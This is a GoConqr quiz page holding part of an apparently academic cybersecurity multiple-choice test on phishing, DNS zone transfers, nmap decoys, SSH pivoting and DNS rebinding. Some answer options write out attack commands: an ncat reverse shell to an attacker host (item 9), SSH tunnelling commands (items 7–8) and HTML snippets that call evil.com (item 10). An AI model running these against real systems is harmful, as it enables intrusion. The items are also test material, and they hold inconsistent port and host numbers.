¡GoConqr estrena diseño! Cuéntanos qué te parece.

Regístrate gratis

Test

Prueba 1

Elvira González 27 preguntas

Hacer el test

Este test tiene tipos de pregunta que se abren en el reproductor de siempre.

Preguntas del test (27)

  1. 1Mark the correct answer. In a maluser test:
    1. AThe tester assumes the role of trusted insider acting maliciously
    2. BThe tester attempts to access resources, change configurations and settings, or elevate the permission beyond the handed authorization
    3. CAll the answers are true
    4. DThe tester requires the credentials of an authorized or administrative account
  2. 2A cybersecurity company aproaches you for professional advice on selecting an effective vulnerability scanner. Base on your expertise, which of the following would you recommend?
    1. ASelect a scanner tool that uses common output formats, facilitating easier integration with various reporting tools
    2. BChoose a scanner that provides an API because it will simplify the process of automating vulnerability assessments
    3. COne of the main requirement would be that the scanner tool minimized false negatives as they are the hard to detect once this issue happens
    4. DAll the options are correct
  3. 3Phishing is a part of Social Engineering attacks where:
    1. AAll the answers are true
    2. BThe attacker tricks the help desk into resetting the victim password
    3. CThe attacker offers the victim to download some valuable program, with some kind of back door to control the device of the victim
    4. DThe attacker clones a site and sends the victim a link to the false site to acquire the victim credentials
  4. 4What is the main difference between phishing and spear phishing?
    1. ASpear phishing is a specialization of phishing using voice
    2. BPhishing is a social engineering technique, while spear phishing is a maluser test
    3. CSpear phishing is a specialization of phishing, where the attacks are directed to carefully selected users
    4. DSpear phishing is a specialization of phishing addressing smartphones users, and includes vishing and smishing
  5. 5We are doing a red team exercise on www.mybank.es, after some digging with OSINT tools we have this information:
    - domain : mybank.es
    - dns authoritative servers:
    -- pikachu.bank.es (primary)
    -- charmander.bank.es
    -- bulbasaur.bank.es

    With this information you want to find every subdomain in the zone mybank.es, which tool and command would you use?
    1. AAll answers are correct
    2. Bdig @pikachu.bank.es bank.es
    3. Cdig axfr bank.es @pikachu.bank.es
    4. Ddig @pikachu.bank.es +norecurse
  6. 6What is the purpose of using decoys in nmap scans?
    1. AIt is a hiding technique so that nmap sends probes to the target machine spoofing the decoy IPs, while it sends some probes to the decoy machine to get clues about the state of the ports in the target. Clues are obtained by the IP identification sequence in the decoy machine answers to the probes.
    2. BIt is a technique used for hiding our presence, when a scan specifies decoys, nmap sends some probes to the target machine spoofing the addresses of the decoy IPs, so that the target may be confused and think the decoy machines are also conducting a scan.
    3. CIt is a hiding technique so that nmap sends probes spoofing the target IP to the decoy machines, to trick the decoy machines into thinking they are being scanned by the target machine.
    4. Dt is a hiding technique so that nmap sends probes spoofing the target IP to the decoy machine, while it sends some probes to the decoy machine to get clues about the state of the ports in the target. Clues are obtained by the IP identification sequence in the decoy machine answers to the probes.
  7. 7The attacker wants to reach the database (port 662) in node 10.0.3.88. For security reasons, this server is not accessible externally, only internally for any other node in same subnet that needs to access to the database.

    Your attacking host is at 192.168.0.33 in a external network. The firewall between your host and the target network (10.0.3.0/24) drops incoming connections from your external network, but you have a reverse shell to 10.0.3.33 in same network. sshd is running in both hosts and you consider using this host as pivot with a non privileged account user2 at the attacking host.

    Select the commands needed in 10.0.0.33 to setup the SSH Port Forward.
    1. AAll answers are incorrect
    2. BThe server 10.0.3.88 port 669 can not be reachable by SSH Port Forward but only using Dynamic Port Routing
    3. Cssh user2@192.168.0.33 -R8222:10.0.3.33:669
    4. DNo command is needed because SSH Port forward will be established in attacking host 192.168.0.33
  8. 8You want to scan the target network 192.168.0.0/24. Your attacking host is at 163.117.0.149. The firewall between your host and the target network drops incoming connections from your network, but you have a reverse shell with 192.168.0.3. You check sshd is running in both hosts and you consider using this host as pivot with a non privileged account user2 at the attacking host.

    Select the correct answer
    1. AThe reverse proxy is established in 192.168.0.3 and not in 163.117.0.149
    2. BAll answers are correct
    3. CRun the command "ssh -f -N -T user2@localhost -R5555:163.117.0.149:3333" from 192.168.0.3
    4. DRun the command "ssh -f -N -D 3333 163.117.0.149" from 192.168.0.3
  9. 9The attacker wants to reach the database (port 662) in node 10.0.3.88. For security reasons, this server is not accessible externally, only internally for any other node in same subnet that needs to access to the database.

    Your attacking host is at 192.168.0.33 in an external network. The firewall between your host and the target network (10.0.3.0/24) drops incoming connections from your external network. You have access to 10.0.3.33 in same network. So in order to start an attack first you need to set up a reverse shell from your pivot node 10.0.3.33

    Think about the commands needed to setup a reverse shell using the tool ncat in port 443 using ssl to avoid firewall.

    Select the correct answer:
    1. ARun the command "ncat –e /bin/bash -nv 192.168.0.33 443 --ssl" in 10.0.3.33
    2. BRun the command "ncat –nlvp 443 --ssl" in 10.0.3.33
    3. CAll answers are incorrect
    4. DRun the command "ncat –nlvp 443" in 10.0.3.33
  10. 10An attacker is planning a DNS rebinding attack. The initial step in this attack involves sending a DNS query to a DNS proxy server. Given that the attacker can modify the content on https://friends.com/page.php, select the most stealthy option where the victim has to make a name resolution request to the evil.com nameserver.
    1. AInclude the HTML snippet: <img src="https://evil.com/pixel.png" alt="" style="width:1px; height:1px;"> in https://friends.com/page.php
    2. BInclude the HTML snippet: <meta http-equiv="refresh" content="0;url=https://evil.com"> in https://friends.com/page.php
    3. CInclude the HTML snippet: <iframe src="https://evil.com/promo.html" width="300" height="250" title="New Promotions!"></iframe> in https://friends.com/page.php
    4. DInclude the HTML snippet: <a href="https://evil.com">Click here for free goodies!</a> in https://friends.com/page.php

Información

Descripción
Ciberseguridad Test sobre Prueba 1, creado por Elvira González el 11/11/2024.
Idioma
Español
Visitas
3
Etiquetas
ciberseguridad
Valoración
Aún sin valoraciones
Valora este test
Valora este test

Escríbenos

¿Sobre qué es tu mensaje?

¿Qué te parece el nuevo diseño?

¿Te gusta?